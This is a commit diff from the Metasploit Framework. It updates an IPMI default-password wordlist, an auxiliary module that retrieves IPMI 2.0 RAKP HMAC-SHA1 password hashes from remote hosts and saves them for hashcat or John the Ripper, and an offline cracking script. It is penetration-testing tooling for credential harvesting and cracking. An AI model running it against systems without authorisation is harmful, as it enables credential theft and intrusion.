Updated output formats, top 1000 passwords
parent
f0db04c2a6
commit
1e21f0e2aa
|
@ -14,6 +14,7 @@ xupamisto
|
||||||
Letmein2
|
Letmein2
|
||||||
1q2w3e4r
|
1q2w3e4r
|
||||||
111111
|
111111
|
||||||
|
|
||||||
zero2hero
|
zero2hero
|
||||||
admin123
|
admin123
|
||||||
Flamenco
|
Flamenco
|
||||||
|
@ -68,6 +69,7 @@ sun12345
|
||||||
siemens123
|
siemens123
|
||||||
hpinvent
|
hpinvent
|
||||||
goethe
|
goethe
|
||||||
|
compaq
|
||||||
cisco
|
cisco
|
||||||
butt
|
butt
|
||||||
brian0711
|
brian0711
|
||||||
|
@ -89,7 +91,6 @@ redhat
|
||||||
netnet
|
netnet
|
||||||
letmein
|
letmein
|
||||||
kalimera
|
kalimera
|
||||||
compaq
|
|
||||||
carpediem
|
carpediem
|
||||||
blabla12
|
blabla12
|
||||||
blabla
|
blabla
|
||||||
|
@ -315,10 +316,12 @@ stanley
|
||||||
sofuck
|
sofuck
|
||||||
snickers
|
snickers
|
||||||
skywalker
|
skywalker
|
||||||
|
simonb
|
||||||
shin
|
shin
|
||||||
semmi
|
semmi
|
||||||
sasman
|
sasman
|
||||||
samsun
|
samsun
|
||||||
|
salope
|
||||||
salamander
|
salamander
|
||||||
rutabaga
|
rutabaga
|
||||||
rosedale
|
rosedale
|
||||||
|
@ -465,11 +468,9 @@ system32
|
||||||
strasburg
|
strasburg
|
||||||
start123
|
start123
|
||||||
sofresh
|
sofresh
|
||||||
simonb
|
|
||||||
setmefree
|
setmefree
|
||||||
seekanddestroy
|
seekanddestroy
|
||||||
secure6
|
secure6
|
||||||
salope
|
|
||||||
root4
|
root4
|
||||||
roman123
|
roman123
|
||||||
riobravo
|
riobravo
|
||||||
|
@ -518,6 +519,7 @@ number66
|
||||||
nottelling
|
nottelling
|
||||||
nike2008
|
nike2008
|
||||||
n0d0ubt1
|
n0d0ubt1
|
||||||
|
mwmwmw
|
||||||
mvemjsunp
|
mvemjsunp
|
||||||
mustang70
|
mustang70
|
||||||
munchkin10
|
munchkin10
|
||||||
|
@ -568,6 +570,7 @@ goldstar
|
||||||
godblessyou
|
godblessyou
|
||||||
getoutofhere
|
getoutofhere
|
||||||
genius123
|
genius123
|
||||||
|
gbpltw
|
||||||
freetown1
|
freetown1
|
||||||
freedom35
|
freedom35
|
||||||
fotos1
|
fotos1
|
||||||
|
@ -600,6 +603,7 @@ ciscocisco
|
||||||
chile62
|
chile62
|
||||||
check123
|
check123
|
||||||
ch4ng3m3
|
ch4ng3m3
|
||||||
|
cdvcdv
|
||||||
catinthehat
|
catinthehat
|
||||||
carla123
|
carla123
|
||||||
calvin99
|
calvin99
|
||||||
|
@ -735,6 +739,7 @@ zero0zero
|
||||||
zaq1xsw2cde3
|
zaq1xsw2cde3
|
||||||
yyl
|
yyl
|
||||||
yes90125
|
yes90125
|
||||||
|
xyuxyu
|
||||||
xunlei
|
xunlei
|
||||||
xiazhi
|
xiazhi
|
||||||
woelco
|
woelco
|
||||||
|
@ -803,6 +808,7 @@ petert999
|
||||||
pepson
|
pepson
|
||||||
patrickb123
|
patrickb123
|
||||||
password1`
|
password1`
|
||||||
|
oqksad
|
||||||
omfglol1
|
omfglol1
|
||||||
ocnc123
|
ocnc123
|
||||||
nttocn
|
nttocn
|
||||||
|
@ -816,7 +822,6 @@ netadmin
|
||||||
net101
|
net101
|
||||||
nemtom1
|
nemtom1
|
||||||
n0ttelling
|
n0ttelling
|
||||||
mwmwmw
|
|
||||||
mupali
|
mupali
|
||||||
mumuland
|
mumuland
|
||||||
mexx6399
|
mexx6399
|
||||||
|
@ -859,7 +864,6 @@ gmmkh
|
||||||
gigi99
|
gigi99
|
||||||
ghbdtnbr
|
ghbdtnbr
|
||||||
gfhjkmrf
|
gfhjkmrf
|
||||||
gbpltw
|
|
||||||
g8keeper
|
g8keeper
|
||||||
fuckbitchesgetmoney
|
fuckbitchesgetmoney
|
||||||
formeforme
|
formeforme
|
||||||
|
@ -877,6 +881,7 @@ ddemde
|
||||||
darwin99
|
darwin99
|
||||||
daemon09
|
daemon09
|
||||||
d0m1n0
|
d0m1n0
|
||||||
|
cyphte
|
||||||
cukorborso
|
cukorborso
|
||||||
ctrls
|
ctrls
|
||||||
cti4ever
|
cti4ever
|
||||||
|
@ -887,6 +892,7 @@ cmlslc
|
||||||
changeme20
|
changeme20
|
||||||
cdwv
|
cdwv
|
||||||
cdn123
|
cdn123
|
||||||
|
ccaere
|
||||||
cbtp
|
cbtp
|
||||||
cairell
|
cairell
|
||||||
cabajka
|
cabajka
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
##
|
#
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
# web site for more information on licensing and terms of use.
|
# web site for more information on licensing and terms of use.
|
||||||
|
@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
'Name' => 'IPMI 2.0 RAKP Remote Password Hash Retreival',
|
'Name' => 'IPMI 2.0 RAKP Remote SHA1 Password Hash Retreival',
|
||||||
'Description' => %q|
|
'Description' => %q|
|
||||||
This module identifies IPMI 2.0 compatible systems and attempts to retrieve the
|
This module identifies IPMI 2.0 compatible systems and attempts to retrieve the
|
||||||
HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a
|
HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a
|
||||||
|
@ -41,7 +41,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
OptPath.new('PASS_FILE', [ true, "File containing common passwords for offline cracking, one per line",
|
OptPath.new('PASS_FILE', [ true, "File containing common passwords for offline cracking, one per line",
|
||||||
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_passwords.txt')
|
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_passwords.txt')
|
||||||
]),
|
]),
|
||||||
OptString.new('OUTPUT_FILE', [false, "File to save captured password hashes into"]),
|
OptString.new('OUTPUT_HASHCAT_FILE', [false, "Save captured password hashes in hashcat format"]),
|
||||||
|
OptString.new('OUTPUT_JOHN_FILE', [false, "Save captured password hashes in john the ripper format"]),
|
||||||
OptBool.new('CRACK_COMMON', [true, "Automatically crack common passwords as they are obtained", true])
|
OptBool.new('CRACK_COMMON', [true, "Automatically crack common passwords as they are obtained", true])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
|
@ -95,14 +96,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
unless r
|
unless r
|
||||||
vprint_status("#{rhost} No response to IPMI open session request, stopping test")
|
vprint_status("#{rhost} No response to IPMI open session request")
|
||||||
rakp = nil
|
rakp = nil
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|
||||||
sess = process_opensession_reply(*r)
|
sess = process_opensession_reply(*r)
|
||||||
unless sess
|
unless sess
|
||||||
vprint_status("#{rhost} Could not understand the response to the open session request, stopping test")
|
vprint_status("#{rhost} Could not understand the response to the open session request")
|
||||||
rakp = nil
|
rakp = nil
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
@ -164,12 +165,18 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
username
|
username
|
||||||
)
|
)
|
||||||
|
|
||||||
found = "#{rhost} #{username}:#{hmac_buffer.unpack("H*")[0]}:#{rakp.hmac_sha1.unpack("H*")[0]}"
|
sha1_salt = hmac_buffer.unpack("H*")[0]
|
||||||
|
sha1_hash = rakp.hmac_sha1.unpack("H*")[0]
|
||||||
|
|
||||||
|
found = "#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}"
|
||||||
print_good(found)
|
print_good(found)
|
||||||
|
|
||||||
# Write the rakp hash to the output file
|
# Write the rakp hash to the output files
|
||||||
if @output
|
if @output_cat
|
||||||
@output.write(found + "\n")
|
@output_cat.write("#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}\n")
|
||||||
|
end
|
||||||
|
if @output_jtr
|
||||||
|
@output_jtr.write("#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}\n")
|
||||||
end
|
end
|
||||||
|
|
||||||
# Write the rakp hash to the database
|
# Write the rakp hash to the database
|
||||||
|
@ -179,7 +186,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
:proto => 'udp',
|
:proto => 'udp',
|
||||||
:sname => 'ipmi',
|
:sname => 'ipmi',
|
||||||
:user => username,
|
:user => username,
|
||||||
:pass => "#{hmac_buffer.unpack("H*")[0]}:#{rakp.hmac_sha1.unpack("H*")[0]}",
|
:pass => "#{sha1_salt}:#{sha1_hash}",
|
||||||
:source_type => "captured",
|
:source_type => "captured",
|
||||||
:active => true,
|
:active => true,
|
||||||
:type => 'rakp_hmac_sha1_hash'
|
:type => 'rakp_hmac_sha1_hash'
|
||||||
|
@ -261,16 +268,22 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def setup
|
def setup
|
||||||
super
|
super
|
||||||
@output = nil
|
@output_cat = nil
|
||||||
if datastore['OUTPUT_FILE']
|
@output_jtr = nil
|
||||||
@output = ::File.open(datastore['OUTPUT_FILE'], "ab")
|
if datastore['OUTPUT_HASHCAT_FILE']
|
||||||
|
@output_cat = ::File.open(datastore['OUTPUT_HASHCAT_FILE'], "ab")
|
||||||
|
end
|
||||||
|
if datastore['OUTPUT_JOHN_FILE']
|
||||||
|
@output_jtr = ::File.open(datastore['OUTPUT_JOHN_FILE'], "ab")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def cleanup
|
def cleanup
|
||||||
super
|
super
|
||||||
@output.close if @output
|
@output_cat.close if @output_cat
|
||||||
@output = nil
|
@output_cat = nil
|
||||||
|
@output_jtr.close if @output_jtr
|
||||||
|
@output_jtr = nil
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -4,7 +4,10 @@
|
||||||
#
|
#
|
||||||
# This script cracks HMAC SHA1 hashes. It is strangely necessary as existing tools
|
# This script cracks HMAC SHA1 hashes. It is strangely necessary as existing tools
|
||||||
# have issues with binary salt values and extremely large salt values. The primary
|
# have issues with binary salt values and extremely large salt values. The primary
|
||||||
# goal of this tool is to handle IPMI 2.0 HMAC SHA1 hashes
|
# goal of this tool is to handle IPMI 2.0 HMAC SHA1 hashes.
|
||||||
|
#
|
||||||
|
# Support for this format is being added to both hashcat and jtr, hopefully
|
||||||
|
# making this code obsolete.
|
||||||
#
|
#
|
||||||
|
|
||||||
msfbase = __FILE__
|
msfbase = __FILE__
|
||||||
|
@ -63,11 +66,12 @@ count = 0
|
||||||
cracked = 0
|
cracked = 0
|
||||||
|
|
||||||
word_fd.each_line do |line|
|
word_fd.each_line do |line|
|
||||||
line = line.unpack("C*").pack("C*").strip
|
line = line.unpack("C*").pack("C*").sub(/\r?\n?$/, '')
|
||||||
|
|
||||||
next unless line.length > 0
|
next unless line.length > 0
|
||||||
hashes.each do |hinfo|
|
hashes.each do |hinfo|
|
||||||
if OpenSSL::HMAC.digest('sha1', line, hinfo[1]) == hinfo[2]
|
if OpenSSL::HMAC.digest('sha1', line, hinfo[1]) == hinfo[2]
|
||||||
$stdout.puts "[+] CRACKED " + hinfo[0]+":"+line
|
$stdout.puts [ hinfo[0], hinfo[1].unpack("H*").first, hinfo[2].unpack("H*").first, line ].join(":")
|
||||||
$stdout.flush
|
$stdout.flush
|
||||||
hinfo[3] = true
|
hinfo[3] = true
|
||||||
cracked += 1
|
cracked += 1
|
||||||
|
|
Loading…
Reference in New Issue